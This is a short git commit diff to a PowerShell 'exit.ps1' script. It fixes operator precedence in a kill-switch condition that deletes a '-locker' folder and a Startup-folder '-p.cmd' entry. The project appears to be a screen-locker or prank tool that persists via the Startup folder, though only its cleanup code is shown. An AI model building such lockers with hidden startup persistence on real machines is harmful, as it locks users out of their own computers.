Update exit.ps1
This commit is contained in:
parent
5d0fd64f70
commit
8c5ccf813a
1 changed files with 1 additions and 1 deletions
|
@ -4,7 +4,7 @@ $Lctrl = [Windows.Input.Keyboard]::IsKeyDown([System.Windows.Input.Key]::'LeftCt
|
|||
$Rctrl = [Windows.Input.Keyboard]::IsKeyDown([System.Windows.Input.Key]::'RightCtrl')
|
||||
|
||||
while($true){
|
||||
if((get-date) -gt (Get-content "$env:appdata\-locker\killswitch.txt") -or $Rctrl -and $Lctrl){
|
||||
if(((get-date) -gt (Get-content "$env:appdata\-locker\killswitch.txt")) -or ($Rctrl -and $Lctrl)){
|
||||
sleep 10
|
||||
Remove-Item "$env:appdata\-locker" -Recurse -Force;
|
||||
Remove-Item "$env:userprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\-p.cmd"
|
||||
|
|
Loading…
Reference in a new issue